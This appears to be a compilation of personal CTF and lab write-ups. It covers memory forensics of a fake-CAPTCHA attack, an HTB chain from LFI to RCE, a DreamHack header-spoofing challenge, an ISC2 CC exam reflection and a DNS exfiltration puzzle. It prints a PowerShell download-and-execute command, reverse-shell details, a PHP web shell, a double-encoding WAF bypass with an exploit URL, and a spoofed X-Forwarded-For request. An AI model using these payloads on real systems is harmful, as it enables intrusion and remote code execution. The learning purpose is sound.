The victim reported that after browsing and downloading some files, suspicious processes began appearing on the system. Our objective is to reconstruct the attack chain and identify the adversarys techniques.

[1] MITRE ATT&CK ID for Initial Access (TXXXX.XXX)

Browser history analysis (Firefox) revealed that the user accessed a suspicious internal URL shortly before malicious activity began.

There is no indication of an exploit chain or drive-by download. Instead, the evidence suggests that the victim was socially engineered into clicking a malicious link.

This behavior aligns with:

Phishing via malicious link

MITRE ATT&CK mapping:

Answer: T1566.002

[2] Which link did the victim access? (ASCII)

The final suspicious entry in the browser history shows:

http://192.168.1.11:7331/captcha.html

This appears to be a fake CAPTCHA page used to trick the victim into executing a command.

Answer:

http://192.168.1.11:7331/captcha.html

[3] What command was the victim tricked into executing? (ASCII)

Using the cmdline plugin in Volatility, we examined process command-line arguments and identified a PowerShell process running a base64-encoded payload:

powershell.exe -eC aQB3AHIAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMQAxADoANwAzADMAMQAvAHkALgBwAHMAMQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAB8ACAAaQBlAHgA

After decoding the base64 string:

iwr http://192.168.1.11:7331/y.ps1 -UseBasicParsing | iex

Explanation:

• iwr Invoke-WebRequest

• Downloads y.ps1

• Pipes output to iex (Invoke-Expression)

• Executes it directly in memory

This is a typical download-and-execute technique.

Answer:

powershell.exe -eC aQB3AHIAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMQAxADoANwAzADMAMQAvAHkALgBwAHMAMQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAB8ACAAaQBlAHgA

[4] What URL was used to retrieve the payload and what filename was it saved as?

(http://example.com/script.ext_file.rar)

After dumping the PowerShell process memory (PID 3000), we recovered the executed script content.

The script:

• Downloads update.zip

• Saves it as kqwer.zip in %TEMP%

• Extracts it

• Executes verify.exe

Relevant snippet recovered from memory:

$url1 = "http://192.168.1.11:7331/update.zip"
\(zipPath1 = "\)env:TEMP\kqwer.zip"

Therefore:

• Script URL: http://192.168.1.11:7331/y.ps1

• Saved filename: kqwer.zip

Answer:

http://192.168.1.11:7331/y.ps1_kqwer.zip

[5] MITRE ID and Registry location (TXXXX_Hive\Key)

Process tree analysis showed:

explorer.exe  powershell.exe

This strongly indicates execution via the Windows Run dialog (Win + R).

To confirm, we examined the following registry key:

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

This key stores commands executed via the Run dialog.

The corresponding MITRE technique:

User Execution

Answer:

T1204_HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

[6] Malicious file location and injected process (C:\path\folder\A_processA.ext_1234)

The downloaded archive extracted and executed:

verify.exe

Static analysis using IDA revealed:

• The binary decrypts embedded shellcode using XOR

• Key used:

  6ddLG9a8gc69cf4J0bZrzgGjr9zRMR

• The decrypted shellcode is injected into explorer.exe

Observed process hierarchy:

explorer.exe (PID 6500)
  powershell.exe (3000)
       verify.exe

Malware location:

C:\Users\imnoob\AppData\Local\Temp\file

Injected process:

explorer.exe (PID 6500)

Answer:

C:\Users\imnoob\AppData\Local\Temp\file_explorer.exe_6500

[7] Attacker IP and PORT inside injected shellcode (IP:PORT)

After decrypting the shellcode and disassembling it, we found:

PUSH 0B01A8C0
PUSH A5FB0002

Converting from little-endian:

C0 A8 01 0B  192.168.1.11
A5 FB  64421

This indicates a reverse shell connection.

Answer:

192.168.1.11:64421

[8] Process used for UAC bypass and PPID spoofing (ProcessA.ext_1234)

Further analysis showed:

powershell.exe -ExecutionPolicy Bypass
  fodhelper.exe

fodhelper.exe is a known auto-elevated binary frequently abused for UAC bypass.

Observed relationship:

powershell.exe (PID 5888)
  fodhelper.exe (PID 2964)

This confirms privilege escalation via UAC bypass.

Answer:

fodhelper.exe_5888

Final Flag

W1{conGR4TUIaTi0N5-9OU-Fin4ILy-fOUND-m3!ll10dc}

This lab is from HackTheBox. The objective is to achieve Remote Code Execution (RCE) and retrieve the flag located in the root directory.

The web application is quite simple. It contains three main tabs: Home, Contact, and most importantly, /apply, which allows users to upload an image file.

Recon

After spending some time enumerating the website, I discovered a suspicious endpoint :

/contact.php

I attempted to test for Local File Inclusion (LFI) vulnerabilities by fuzzing parameters with ffuf. Eventually, I found a parameter confirming that the website was vulnerable to LFI.

At that point, I thought the challenge was basically solved.

However, it was not that simple.

I tried using automated exploitation tools like lfisuite, continued fuzzing with ffuf, and manually tested multiple payloads and bypass techniques in an attempt to evade the WAF. Unfortunately, none of them worked.

The filtering mechanism was extremely strict:

• Any occurrence of . or / (typical file inclusion characters) was blocked.

• Sensitive keywords such as /etc/passwd and config were filtered.

I spent around 56 hours testing different payload variations but was completely stuck at this stage.

Breakthrough

While taking a break, I asked myself:

Why am I focusing only on that single endpoint?

I went back to the lab and started reviewing the source code more carefully. I tested other endpoints and APIs and eventually discovered a crucial API that completely changed my approach.

I tested LFI on this new parameter and boom, it worked.

After successfully performing path traversal, I began leaking sensitive files to find something that could lead to RCE. During fuzzing, I discovered an interesting file:

/var/log/nginx/access.log

This indicated that Log Poisoning might be possible.

The idea was simple:

1. Send a request to the web server.

2. Modify the User-Agent header to inject PHP code:

<?php system($_GET["cmd"]); ?>

However, it did not execute. The payload was written into the log file but never interpreted as PHP code. It seemed the developers used a safe function like file_get_contents() instead of include().

So log poisoning was not viable.

Reviewing the Source Code

/api/image.php

<?php
if (isset($_GET["p"])) {
    \(path = "../images/" . str_replace("../", "", \)_GET["p"]);
    \(contents = file_get_contents(\)path);
    header("Content-Type: image/jpeg");
    echo $contents;
}
?>

This confirmed the LFI vulnerability again. The filtering was weak and not properly implemented.

/api/application.php

<?php
\(firstName = \)_POST["firstName"];
\(lastName = \)_POST["lastName"];
\(email = \)_POST["email"];
\(notes = (isset(\)_POST["notes"])) ? $_POST["notes"] : null;

\(tmp_name = \)_FILES["file"]["tmp_name"];
\(file_name = \)_FILES["file"]["name"];
\(ext = end((explode(".", \)file_name)));
\(target_file = "../uploads/" . md5_file(\)tmp_name) . "." . $ext;
move_uploaded_file(\(tmp_name, \)target_file);

header("Location: /thanks.php?n=" . urlencode($firstName));
?>

This revealed something important:

• Uploaded files are stored in /uploads/

• The filename is hashed using md5_file()

• The original extension is preserved

At this point, the plan became clearer:

1. Upload a PHP shell.

2. Use LFI to trigger it.

However, there was still one missing piece:

We needed a parameter that used include() instead of file_get_contents() in order to gain execution.

And I found it.

Vulnerable region Parameter

<p>
<?php
$region = "AT";
$danger = false;

if (isset($_GET["region"])) {
    if (str_contains(\(_GET["region"], ".") || str_contains(\)_GET["region"], "/")) {
        echo "'region' parameter contains invalid character(s)";
        $danger = true;
    } else {
        \(region = urldecode(\)_GET["region"]);
    }
}

if (!$danger) {
    include "./regions/" . $region . ".php";
}
?>

Now everything made sense.

The first parameter I had spent hours on earlier finally became useful.

Understanding the Logic

• If the parameter contains . or /, it gets blocked.

• Otherwise, it is URL-decoded.

• Then it gets passed into include().

So I thought:

What if we double-encode the payload?

If we encode ../ twice:

../  %2e%2e%2f
Double encode  %252e%252e%252f

The WAF does not detect . or /.

The server:

1. Decodes once via urldecode()

2. Then include() performs another decoding step

This results in successful path traversal.

Final Exploit

1. Upload payload.php

2. Calculate its MD5:

md5sum payload.php
eca599d7d063b4d277b7b14e5efe4a6e  payload.php

1. Trigger execution:

http://94.237.63.176:42783/contact.php?region=%252e%252e%252fuploads%252feca599d7d063b4d277b7b14e5efe4a6e&cmd=id

And RCE was achieved.

Attack Chain Summary

1. Exploit LFI to read sensitive source code

2. Bypass WAF using double URL encoding

3. Upload malicious file

4. Use include() to achieve RCE

Lessons Learned

1. Think in terms of bug chaining, not isolated vulnerabilities.

2. Always explore alternative attack vectors.

3. Think outside the box.

Nu bn mun mnh chnh li theo phong cch blog chuyn nghip hn (v d ng LinkedIn hoc portfolio cybersecurity khi bn ang theo l trnh An ninh mng), mnh c th rewrite li theo tone professional offensive security writeup lun.

viet bang ngon ngu markdown

Di y l phin bn c vit li hon ton bng Markdown chun (c heading, code block, bullet list r rng, sn sng ng blog hoc GitHub):

Chaining LFI to RCE HackTheBox

🧩 Problem

This lab is from HackTheBox. The objective is to achieve Remote Code Execution (RCE) and retrieve the flag located in the root directory.

The web application is simple, containing three main tabs:

• Home

• Contact

• /apply (allows file upload)

The upload functionality immediately caught my attention.

🔎 Recon

During reconnaissance, I discovered a suspicious endpoint:

/contact.php

I fuzzed parameters using ffuf and successfully identified an LFI (Local File Inclusion) vulnerability.

At this point, I thought the challenge was almost solved.

However, things became complicated.

🚧 WAF Restrictions

The application implemented strong filtering:

• Any . or / character was blocked

• Sensitive paths like /etc/passwd were filtered

• Keywords such as config were denied

I attempted:

• Automated tools (lfisuite)

• Further fuzzing with ffuf

• Manual payload crafting

• Encoding variations

Nothing worked.

After spending 56 hours, I was completely stuck.

💡 Breakthrough

After taking a break, I reconsidered my approach:

Why am I focusing only on one endpoint?

I began reviewing other APIs and discovered a new interesting endpoint.

After testing it boom LFI worked again.

📂 Path Traversal Success

I managed to read sensitive files and eventually discovered:

/var/log/nginx/access.log

This suggested the possibility of Log Poisoning.

🧪 Attempt: Log Poisoning

I injected PHP code into the User-Agent header:

<?php system($_GET["cmd"]); ?>

However, it did not execute.

The log file stored my payload, but the application used file_get_contents() instead of include(), so the code was never interpreted.

Log poisoning failed.

🔍 Source Code Analysis

/api/image.php

<?php
if (isset($_GET["p"])) {
    \(path = "../images/" . str_replace("../", "", \)_GET["p"]);
    \(contents = file_get_contents(\)path);
    header("Content-Type: image/jpeg");
    echo $contents;
}
?>

This confirmed the LFI vulnerability due to improper sanitization.

/api/application.php

<?php
\(firstName = \)_POST["firstName"];
\(lastName = \)_POST["lastName"];
\(email = \)_POST["email"];
\(notes = (isset(\)_POST["notes"])) ? $_POST["notes"] : null;

\(tmp_name = \)_FILES["file"]["tmp_name"];
\(file_name = \)_FILES["file"]["name"];
\(ext = end((explode(".", \)file_name)));
\(target_file = "../uploads/" . md5_file(\)tmp_name) . "." . $ext;
move_uploaded_file(\(tmp_name, \)target_file);

header("Location: /thanks.php?n=" . urlencode($firstName));
?>

Important observations:

• Uploaded files are stored in /uploads/

• The filename is hashed using md5_file()

• The original extension is preserved

At this stage, the plan was:

1. Upload a PHP web shell

2. Trigger it using LFI

But we still needed a parameter using include() instead of file_get_contents().

🎯 Final Piece region Parameter

<?php
$region = "AT";
$danger = false;

if (isset($_GET["region"])) {
    if (str_contains(\(_GET["region"], ".") || str_contains(\)_GET["region"], "/")) {
        echo "'region' parameter contains invalid character(s)";
        $danger = true;
    } else {
        \(region = urldecode(\)_GET["region"]);
    }
}

if (!$danger) {
    include "./regions/" . $region . ".php";
}
?>

🔎 Analysis

• If . or / appears blocked

• Otherwise urldecode() is applied

• Then passed into include()

So I thought:

What if we double-encode the payload?

🧠 Double Encoding Bypass

Normal traversal:

../

URL encoded:

%2e%2e%2f

Double encoded:

%252e%252e%252f

Since %252e does not contain . or /, the WAF does not block it.

Flow:

1. Server decodes once using urldecode()

2. include() processes the decoded path

3. Path traversal succeeds

🚀 Final Exploit

1 Upload payload.php

Example payload:

<?php system($_GET["cmd"]); ?>

2 Calculate MD5

md5sum payload.php

Output:

eca599d7d063b4d277b7b14e5efe4a6e

3 Trigger Execution

http://94.237.63.176:42783/contact.php?region=%252e%252e%252fuploads%252feca599d7d063b4d277b7b14e5efe4a6e&cmd=id

🎉 RCE achieved.

🔗 Attack Chain Summary

1. Exploit LFI to read source code

2. Identify upload functionality

3. Bypass WAF using double encoding

4. Upload malicious PHP file

5. Trigger execution via include()

📚 Lessons Learned

• Think in terms of bug chaining, not isolated vulnerabilities

• Always enumerate all endpoints

• Review source code carefully

• When stuck, take a break and rethink

While practicing some web challenges on DreamHack, I came across a beginner-level challenge called whoami Level 1.
Although the difficulty is low, this challenge highlights a very common and dangerous mistake in real-world web applications: blindly trusting client-controlled headers.

Challenge Overview

The challenge provides:

• A simple single-page web application

• Two backend API endpoints:

  • /whoami

  • /admin

• The backend source code, written in Express (Node.js)

The objective is straightforward:

Gain admin privileges and retrieve the flag.

At first glance, this looks trivial. However, the interesting part lies in how the backend determines whether a user is an admin or not.

Backend Code Analysis

After reviewing the Express backend source code, one thing immediately stood out:

Admin access is determined based on the client's IP address.

More specifically, the application relies on the value of the X-Forwarded-For HTTP header to identify the requester.

This is a classic red flag in web security.

What Is X-Forwarded-For?

X-Forwarded-For is a non-standard HTTP header commonly used by:

• Reverse proxies (Nginx, HAProxy)

• Load balancers

• CDNs (Cloudflare, AWS ALB, etc.)

Its original purpose is to preserve the original client IP address when requests pass through one or more proxies.

Example:

X-Forwarded-For: 203.0.113.42

With multiple proxies involved:

X-Forwarded-For: 203.0.113.42, 10.0.0.1, 172.16.0.5

By convention:

• The first IP is the original client

• The remaining IPs are intermediate proxies

The Core Issue: Client-Controlled Headers

Here is the critical mistake made by the application:

X-Forwarded-For can be fully controlled by the client.

Any user can manually set this header using tools such as:

• curl

• Burp Suite

• Postman

For example:

curl -H "X-Forwarded-For: 127.0.0.1" https://target/admin

If the backend blindly trusts this header without verifying that the request actually came through a trusted proxy, the access control logic is completely broken.

This type of mistake is frequently exploited to bypass:

• IP-based access control

• Rate limiting

• Geo-restrictions

• Anti-bot mechanisms

Exploitation

In the whoami challenge, exploitation is extremely simple:

1. Send a request to the /admin endpoint

2. Manually set the X-Forwarded-For header to a trusted IP (e.g., 127.0.0.1)

3. The backend assumes the request is from an internal or admin user

4. Admin access is granted

5. The flag is returned

No brute force.
No race condition.
Just a logic flaw caused by misplaced trust.

Retrieved Flag

DH{5c36de0d635aef1f7f3002163e7d9cca005b7fb470c93d68188d48d9f317a017}

Lessons Learned

This challenge reinforces several important security lessons:

1. Never Trust Client-Supplied Headers

Headers such as X-Forwarded-For, X-Real-IP, or custom headers should never be trusted by default.

2. Proxy Awareness Is Essential

X-Forwarded-For should only be used if:

• Requests come from trusted proxy IPs

• The backend explicitly validates the request source

3. Simple Bugs Can Have Serious Impact

Even though this is a Level 1 challenge, the same vulnerability appears frequently in production systems.

Final Thoughts

The whoami challenge is a great reminder that security is often about correct assumptions rather than complex exploits.

If you are developing or auditing web applications, always ask yourself:

Who controls this data?

Because if the user controls it you should never trust it.

I used to think the ISC2 CC was just a lightweight theory-based certification. Three days of revision should have been enough.

While struggling with some CTF challenges, I started to feel a bit burned out. I scrolled through LinkedIn and saw people constantly sharing about certifications in the industryprestigious ones like OSCP, CISSP, or more entry-level options such as CCNA or eJPT (often considered a lighter version of OSCP).

I really wanted to challenge myself with those certifications, but I was afraid of failing and wasting money.

So the question was: is there any certification with similar pressure but zero cost?

After some research, I came across a very reputable certification from ISC2. Just hearing the name ISC2 already signals credibilityits the organization behind legendary certifications like CISSP and SSCP, and is considered one of the worlds leading non-profit associations for information security professionals.

And the certification Im talking about is Certified in Cybersecurity, abbreviated as CC.

1. What Is the ISC2 CC Certification?

If you search Google with questions like What certifications should I get for entry-level cybersecurity? or How do I get into cybersecurity?, chances are this certification will show up.

The ISC2 CC is designed for beginners entering the cybersecurity field. At first, I thought it mainly covered basic theory. Honestly, I felt it was not that different from taking a driving license testjust memorize the theory, understand some basic concepts, and youd be fine.

That was until I failed 😇.

ISC2 CC doesnt ask you to hack a server. Instead, it tests whether you understand how security operates within an organization.

Anyone can study for and take this exam for free through the One Million Certified in Cybersecurity program on the ISC2 website. The registration process is straightforward: just book a suitable exam date and show up.

Exam Domains Overview

To prepare for this certification, you need to master the following five domains:

• Domain 1: Security Principles
  Covers fundamental principles such as the CIA triad, ethical codes, and core security concepts.

• Domain 2: Incident Response, Business Continuity, and Disaster Recovery Concepts
  Focuses on planning and responding to security incidents, ensuring organizations can recover and continue operating normally.

• Domain 3: Access Control Concepts
  Covers access control models like MAC, DAC, LAC, and RBAC.
  In my opinion, this is both one of the easiest and most annoying domainseasy to confuse, hard to classify, and it appears very frequently in exam questions.

• Domain 4: Network Security
  Includes cloud service models such as SaaS and PaaS, network architectures, and common ports and services like HTTP, SNMP, FTP, etc.

• Domain 5: Security Operations
  Introduces basic cryptography (hashing, symmetric and asymmetric encryption), password policies, logging, monitoring, and more.

This is only a high-level summary. Theres a lot more content that I havent listed here.

In my opinion, knowledge accounts for only about 60% of passing this exam. The remaining 40% is all about mindset. This certification leans much more toward management and governance rather than pure technical skillsand thats exactly why I failed.

2. How I Failed the ISC2 CC Exam

To be honest, I only had a little over three days to prepare for this exam. I assumed that since it was theory-based, studying the materials and doing a few practice tests would be enough.

It wasnt.

Heres my exam result:

To pass, you need at least 70/100. Although ISC2 doesnt provide an exact score, based on the score report, I estimate I got around 600650, just a few dozen points short of passing 😭.

Study Materials I Used

Before the exam, I:

• Studied the official theory materials on the ISC2 website

• Completed the mock tests provided there

• Watched a YouTube series solving 200 practice questions

I also found several excellent resources that I didnt have time to go through:

• https://www.linkedin.com/learning/cert-prep-isc2-certified-in-cybersecurity-cc/cybersecurity-15121230

• https://github.com/cyberfascinate/ISC2-CC-Study-Material

• https://viblo.asia/p/lam-the-nao-de-lay-duoc-chung-chi-sscp-GAWVpZ1oJ05

The exam experience itself was quite smoothno technical issues at all. For those in Ho Chi Minh City, the exam is conducted at VNPro Informatics Center.

3. Lessons Learned & Exam Tips

After sitting in the exam room for two hours, I realized that the questions were very tricky in wording. Often, a single question would have two or three options that all seemed correct. If you dont study carefully and fully grasp the ISC2 mindset, youll feel like every answer is right.

To do well, you must truly understand the context of each question. When you choose an answer, you should challenge yourself:

• Why is this option correct?

• What are its pros and cons?

• Is it really the best choice?

Most questions are framed as best in this case, which means its not about choosing a correct answerits about choosing the most correct one.

To achieve that, you need to put yourself in the shoes of a manager, not a hacker. And for someone who comes from a pure CTF background like me, thats not easy at all.

If I were to prepare again, this would be my plan:

• Week 1: Study the theory thoroughly

• Next 2 weeks: Do mock tests from multiple sources

  • For every wrong question, revisit the theory

  • Make sure you never make the same mistake again

Once you can consistently score 80+/100 on practice exams that closely resemble the real one, youre probably ready.

As for me, I dont think Ill spend another $50 to retake the exam.

Thats my entire preparation journey, along with the lessons I learned from my very first certification exam. It was a free exam, but it gave me a real taste of what an international certification feels like.

If youre a beginnerwhy not give it a try?

If youve taken the ISC2 CC or any other cybersecurity certification, Id love to hear about your experience in the comments.

Wishing everyone who plans to take this exam the best of luckand hopefully you wont repeat the same mistakes I did.

Best wishes!

Summary problem : I have a PCAP file which contain many DNS capture and two logs file I used the strings command on the PCAP file and noticed many common website here :+1:

As I continue scrolling , I found some suspicious strings :+1:

Press enter or click to view image in full size

I try filter this suspicious by command :

tshark -r 10.10.0.53_ns_capture.pcap -Y 'dns.qry.name contains "hex.cloudflar3.com"' -T fields -e dns.qry.name | uniq This is result :

p.c7aec5d0d81ba8748acac6931e5add6c24b635181443d0b9d2.hex.cloudflar3.com
p.f8aad90d5fc7774c1e7ee451e755831cd02bfaac3204aed8a4.hex.cloudflar3.com
p.3dfec8a22cde4db4463db2c35742062a415441f526daecb59b.hex.cloudflar3.com
p.f6af1ecb8cc9827a259401e850e5e07fdc3c1137f1.hex.cloudflar3.com
f.6837abc6655c12c454abe0ca85a596e98473172829581235dd.hex.cloudflar3.com
f.95380b06bf6dd06b89118b0003ea044700a5f2c4c106c3.hex.cloudflar3.com

I reviewed the access file and logfile to see scan anything relative to hex that i find.

After some time, i finded keyword in the log file :+1:

Press enter or click to view image in full size

Finally , i was able to encode SHA256 hash withAPP-SECREC key , divide it to an aes-key and aes-iv , and them use to decode hex values

Flag :

CSCV2025{DnS_Exf1ltr4ti0nnnnnnnnnnNN!!}